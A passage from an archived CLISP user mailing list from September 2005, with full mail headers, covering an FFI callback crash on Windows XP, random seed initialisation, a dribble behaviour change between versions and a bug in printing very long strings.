AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI & handler case, problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 15 18:59:07 2005 X-Original-Date: Thu, 15 Sep 2005 18:55:05 -0700 Hello Joerg, "Hoehle, Joerg-Cyril" writes: > Surendra Singhi wrote: >>This problem occurs only on Windows XP with native version of clisp. There >>seems to be no problem whatsoever on Windows 2000, or cygwin version of clisp >>on XP. > >>creating an object of a class, say with a code like: >> (make-instance 'complex-2) >>in the lisp function (which was called from C) causes the crash. >> >>But if I use the above class first and then use the wxCL code, >>it works fine. > > No idea what's wrong, but could you ensure clisp is living in the same thread in both cases, via calls to ext:process-id (which calls kernel32.dll:GetCurrentProcessId) -- maybe there's a similar functions for Thread-IDs -- from within the callback and in the normal REPL?? > Thanks, I tried both process and thread, and it shows the same values, i.e., clisp is within the same thread in both the callback and normal REPL. I will look at the ffi.tst and try if I can reproduce this problem in a more controlled environment. Thanks once again. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html "All animals are equal, but some animals are more equal than others." - Orwell, Animal Farm, 1945 From lisp-clisp-list@m.gmane.org Thu Sep 15 20:16:54 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EG6iS-0002z1-K8 for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 20:16:44 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EG6iQ-0002MN-US for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 20:16:44 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EG6h5-0004HJ-Il for clisp-list@lists.sourceforge.net; Fri, 16 Sep 2005 05:15:19 +0200 Received: from thar.dhcp.asu.edu ([149.169.179.56]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 16 Sep 2005 05:15:19 +0200 Received: from efuzzyone by thar.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 16 Sep 2005 05:15:19 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 47 Message-ID: References: <17194.4257.711301.156471@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: thar.dhcp.asu.edu Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:03so/JKcL/0v0mOaqVXUjAay8ns= X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: random not too random Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 15 20:17:29 2005 X-Original-Date: Thu, 15 Sep 2005 20:14:45 -0700 Pascal Bourguignon writes: > Surendra Singhi writes: >> Hello, >> When I start clisp-2.35, and do >> >> [1]> (random 1.0) >> 0.52319837 >> >> I get a certain value, then when I exit clisp and again execute (random 1.0), >> I get the same result and I think the same series of random numbers. >> >> I think there should be some time element in initialising the random state of >> the random number generator. > > The initial value of *random-state* is implementation dependant. > sbcl does the same as clisp. > > If you want a specific behaviour, you must explicitely write: > > (setf *random-state* (make-random-state t)) ; to initialize to a random > ; random state > > or: > > (setf *random-state* (read-random-state-from-file "~/random-seed")) > ; to initialize to a known random state > > As you see, to initialize a random state to a specific seed, it's > harder than to initialize it to a random state. So it seems a good > thing that implementations do it for us. Otherwise we would have to > maintain seed files. Oh, I misread and misunderstood it the first time. Sorry. Never mind, I found a way of initializing the random number generator to random seeds, using (setf *random-state* (make-random-state t)) Thanks. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html "All animals are equal, but some animals are more equal than others." - Orwell, Animal Farm, 1945 From sds@gnu.org Fri Sep 16 07:04:45 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EGGpZ-0004nG-Gv for clisp-list@lists.sourceforge.net; Fri, 16 Sep 2005 07:04:45 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EGGpW-0002T2-1E for clisp-list@lists.sourceforge.net; Fri, 16 Sep 2005 07:04:45 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8GE4YUC021704; Fri, 16 Sep 2005 10:04:34 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Surendra Singhi's message of "Thu, 15 Sep 2005 20:14:45 -0700") References: <17194.4257.711301.156471@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: random not too random Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 16 07:05:30 2005 X-Original-Date: Fri, 16 Sep 2005 10:03:38 -0400 > * Surendra Singhi [2005-09-15 20:14:45 -0700]: > > Never mind, I found a way of initializing the random number generator > to random seeds, using (setf *random-state* (make-random-state t)) if you are absolutely sure that you do indeed want a new random seed on each invocation, you can arrange for that by creating your own image: $ clisp -norc -x '(saveinitmem "foo" :init-function (lambda () (setq *random-state* (make-random-state t))))' $ clisp -norc -q -x '(random 1s0)' 0.0219803s0 $ clisp -norc -q -x '(random 1s0)' 0.0219803s0 $ clisp -norc -q -x '(random 1s0)' 0.0219803s0 $ clisp -norc -q -x '(random 1s0)' 0.0219803s0 $ clisp -norc -q -x '(random 1s0)' 0.0219803s0 $ clisp -M foo -norc -q -x '(random 1s0)' 0.246986s0 $ clisp -M foo -norc -q -x '(random 1s0)' 0.548386s0 $ clisp -M foo -norc -q -x '(random 1s0)' 0.71753s0 $ clisp -M foo -norc -q -x '(random 1s0)' 0.54362s0 $ clisp -M foo -norc -q -x '(random 1s0)' 0.43821s0 $ clisp -M foo -norc -q -x '(random 1s0)' 0.83001s0 $ clisp -M foo -norc -q -x '(random 1s0)' 0.335968s0 $ clisp -M foo -norc -q -x '(random 1s0)' 0.87574s0 $ clisp -M foo -norc -q -x '(random 1s0)' 0.750565s0 $ see -- Sam Steingold (http://www.podval.org/~sds) running w2k We are born naked, wet, and hungry. Then things get worse. From olsson@pi.cs.ucdavis.edu Fri Sep 16 15:10:06 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EGOPG-0001jQ-CD for clisp-list@lists.sourceforge.net; Fri, 16 Sep 2005 15:10:06 -0700 Received: from baton.cs.ucdavis.edu ([169.237.6.6]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EGOPF-0003dU-Uc for clisp-list@lists.sourceforge.net; Fri, 16 Sep 2005 15:10:06 -0700 Received: from pi.cs.ucdavis.edu (pi.cs.ucdavis.edu [169.237.6.50]) by baton.cs.ucdavis.edu (8.13.3/8.13.3) with ESMTP id j8GMA3Vm025771 for ; Fri, 16 Sep 2005 15:10:03 -0700 (PDT) Received: from pi.cs.ucdavis.edu (localhost.localdomain [127.0.0.1]) by pi.cs.ucdavis.edu (8.12.11/8.12.10) with ESMTP id j8GMA3Y5019205 for ; Fri, 16 Sep 2005 15:10:03 -0700 Received: (from olsson@localhost) by pi.cs.ucdavis.edu (8.12.11/8.12.11/Submit) id j8GMA30a019201; Fri, 16 Sep 2005 15:10:03 -0700 Message-Id: <200509162210.j8GMA30a019201@pi.cs.ucdavis.edu> To: clisp-list@lists.sourceforge.net From: olsson@cs.ucdavis.edu (Ron Olsson) X-Scanned-By: MIMEDefang 2.52 on 169.237.6.6 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] behavior of -x that uses a dribble in clisp-2.33.2 vs. in clisp-2.35 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 16 15:11:03 2005 X-Original-Date: Fri, 16 Sep 2005 15:10:03 -0700 dribble behaves differently between clisp-2.33.2 and clisp-2.35. E.g., give the command % clisp -q -i init.lisp -x '(test)' where init.lisp contains only (defun test () (delete-file "zz") (dribble "zz") (format t "hi~%") (dribble)) For clisp-2.33.2, all output goes to the file zz, which I think is the correct behavior. For clisp-2.35, the "hi" comes to the screen and zz contains only the start and finish of dribble lines, e.g., ;; Dribble of # started 2005-09-16 14:26:53 ;; Dribble of # finished 2005-09-16 14:26:53 When I run either clisp interactively with % clisp -q -i init.lisp and type (test), the output goes to file zz and the screen. Is the above difference in behavior a bug or is dribble's behavior implementation dependent? I saw this same difference on two systems: pi: Red Hat Enterprise Linux WS release 3 (Taroon Update 5) Linux pi 2.4.21-32.0.1.ELsmp #1 SMP Tue May 17 17:52:23 EDT 2005 i686 i686 i386 GNU/Linux pc18: Fedora Core release 4 (Stentz) Linux pc18 2.6.12-1.1447_FC4smp #1 SMP Fri Aug 26 20:57:13 EDT 2005 i686 i686 i386 GNU/Linux clisp version info is below. Thanks. ---------------------------------------------------------------------- PI% clisp --version WARNING: *FOREIGN-ENCODING*: reset to ASCII GNU CLISP 2.33.2 (2004-06-02) (built 3296832306) (memory 3296832415) Software: GNU C 3.2.3 20030502 (Red Hat Linux 3.2.3-34) ANSI C program Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) Installation directory: /home/olsson/pkg/clisp/lib/clisp/ User language: ENGLISH Machine: I686 (I686) pi.cs.ucdavis.edu [169.237.6.50] ---------------------------------------------------------------------- PI% clisp --version GNU CLISP 2.35 (2005-08-29) (built 3335818953) (memory 3335819181) Software: GNU C 3.2.3 20030502 (Red Hat Linux 3.2.3-52) gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY Features: (REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) C Modules: (clisp i18n syscalls regexp) Installation directory: /home/olsson/pkg/clisp/lib/clisp/ User language: ENGLISH Machine: I686 (I686) pi.cs.ucdavis.edu [169.237.6.50] ---------------------------------------------------------------------- pc18:dribble [15] clisp --version GNU CLISP 2.33.2 (2004-06-02) (built 3335895841) (memory 3335895933) Software: GNU C 4.0.1 20050727 (Red Hat 4.0.1-5) ANSI C program Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) Installation directory: /home/olsson/pkg/clisp/lib/clisp/ User language: ENGLISH Machine: I686 (I686) pc18.cs.ucdavis.edu [169.237.5.62] ---------------------------------------------------------------------- pc18:~ [8] clisp --version GNU CLISP 2.35 (2005-08-29) (built on hammer2.fedora.redhat.com) Software: GNU C 4.0.1 20050727 (Red Hat 4.0.1-5) gcc -W -Wswitch -Wcomment -Wpointer-arith -falign-functions=4 -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a /usr/lib/libreadline.so -lncurses -ldl -L/usr/lib -lsigsegv -L/usr/lib -lc -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY Features: (REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) C Modules: (clisp i18n syscalls regexp) Installation directory: /usr/lib/clisp/ User language: ENGLISH Machine: I686 (I686) pc18.cs.ucdavis.edu [169.237.5.62] From pjb@informatimago.com Sat Sep 17 10:44:11 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EGgjQ-0001eU-Fw for clisp-list@lists.sourceforge.net; Sat, 17 Sep 2005 10:44:08 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EGgjN-0002oc-Oa for clisp-list@lists.sourceforge.net; Sat, 17 Sep 2005 10:44:08 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 6661058344; Sat, 17 Sep 2005 19:43:59 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 14ACF5833D; Sat, 17 Sep 2005 19:43:57 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 5566F10F9F6; Sat, 17 Sep 2005 19:43:54 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050917174354.5566F10F9F6@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] bug with big strings printer. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Sep 17 10:45:01 2005 X-Original-Date: Sat, 17 Sep 2005 19:43:54 +0200 (CEST) Have a look at the desired length reported in the error: [253]> (make-array system::string-dimension-limit :element-type 'character) *** - string too long: desired length 4194304 exceeds the supported maximum length The following restarts are available: ABORT :R1 ABORT Break 1 [254]> :q [255]> (make-array (1- system::string-dimension-limit) :element-type 'character) *** - string too long: desired length 4194304 exceeds the supported maximum length The following restarts are available: ABORT :R1 ABORT Break 1 [256]> :q [257]> (make-array (- system::string-dimension-limit 10) :element-type 'character) *** - string too long: desired length 8386396 exceeds the supported maximum length The following restarts are available: ABORT :R1 ABORT Break 1 [258]> :q The problem is in the printer which cannot print big strings. But it's strange that for a string 10 charact less than the limit the need of buffer space doubles. [259]> (print-bug-report-info) LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.35 (2005-08-29) (built 3334467097) (memory 3334467514)" SOFTWARE-TYPE "gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -lsigsegv -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" *FEATURES* (:COM.INFORMATIMAGO.PJB :ASDF :WILDCARD :RAWSOCK :PCRE :CLX-ANSI-COMMON-LISP :CLX :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :PC386 :UNIX) -- "Specifications are for the weak and timid!" From sds@gnu.org Mon Sep 19 09:32:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EHOZE-0003yG-DE for clisp-list@lists.sourceforge.net; Mon, 19 Sep 2005 09:32:32 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EHOZA-0004xo-Df for clisp-list@lists.sourceforge.net; Mon, 19 Sep 2005 09:32:32 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8JGVw9b020813; Mon, 19 Sep 2005 12:32:13 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050917174354.5566F10F9F6@thalassa.informatimago.com> (Pascal Bourguignon's message of "Sat, 17 Sep 2005 19:43:54 +0200 (CEST)") References: <20050917174354.5566F10F9F6@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: bug with big strings printer. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 19 09:33:11 2005 X-Original-Date: Mon, 19 Sep 2005 12:31:00 -0400 > * Pascal Bourguignon [2005-09-17 19:43:54 +0200]: > > Have a look at the desired length reported in the error: > > [253]> (make-array system::string-dimension-limit :element-type 'character) > > *** - string too long: desired length 4194304 exceeds the supported maximum > length > The following restarts are available: > ABORT :R1 ABORT > Break 1 [254]> :q > [255]> (make-array (1- system::string-dimension-limit) :element-type 'character) > > *** - string too long: desired length 4194304 exceeds the supported maximum > length > The following restarts are available: > ABORT :R1 ABORT > Break 1 [256]> :q > > [257]> (make-array (- system::string-dimension-limit 10) :element-type 'character) > > *** - string too long: desired length 8386396 exceeds the supported maximum > length see PTC. -- Sam Steingold (http://www.podval.org/~sds) running w2k A poet who reads his verse in public may have other nasty habits. From pjb@informatimago.com Mon Sep 19 16:05:12 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EHUhE-0003ra-9p for clisp-list@lists.sourceforge.net; Mon, 19 Sep 2005 16:05:12 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EHUhC-000561-GI for clisp-list@lists.sourceforge.net; Mon, 19 Sep 2005 16:05:12 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 16AC55833D; Tue, 20 Sep 2005 01:05:02 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 7274C582FA; Tue, 20 Sep 2005 01:05:00 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 561BD10F9F6; Tue, 20 Sep 2005 01:05:00 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17199.17436.296201.47887@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: bug with big strings printer. In-Reply-To: References: <20050917174354.5566F10F9F6@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 19 16:06:05 2005 X-Original-Date: Tue, 20 Sep 2005 01:05:00 +0200 Sam Steingold writes: > > * Pascal Bourguignon [2005-09-17 19:43:54 +0200]: > > > > Have a look at the desired length reported in the error: > > > > [253]> (make-array system::string-dimension-limit :element-type 'character) > > > > *** - string too long: desired length 4194304 exceeds the supported maximum > > length > > The following restarts are available: > > ABORT :R1 ABORT > > Break 1 [254]> :q > > [255]> (make-array (1- system::string-dimension-limit) :element-type 'character) > > > > *** - string too long: desired length 4194304 exceeds the supported maximum > > length > > The following restarts are available: > > ABORT :R1 ABORT > > Break 1 [256]> :q > > > > [257]> (make-array (- system::string-dimension-limit 10) :element-type 'character) > > > > *** - string too long: desired length 8386396 exceeds the supported maximum > > length > > see Thanks, but this is not the problem. I have not tried to create a string greater than system::string-dimension-limit, on the contrary, I've tried one byte less and ten bytes less. The problem is that to print a string, clisp tries to allocate a bigger string. This is inefficient in general, and impossible in this case. In addition, there's this strange thing that for 10 bytes less, it tries to allocate a string the double of the size. If I don't let the REPL print the string, there's no problem: [85]> (length (make-array (1- system::string-dimension-limit) :element-type 'character)) 4194303 -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot. don't bother saving your artefacts. From berlin.brown@gmail.com Wed Sep 21 09:04:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EI74s-0007GV-Mv for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 09:04:10 -0700 Received: from zproxy.gmail.com ([64.233.162.204]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EI74r-0000hh-Gn for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 09:04:10 -0700 Received: by zproxy.gmail.com with SMTP id i11so1799331nzh for ; Wed, 21 Sep 2005 09:03:57 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; 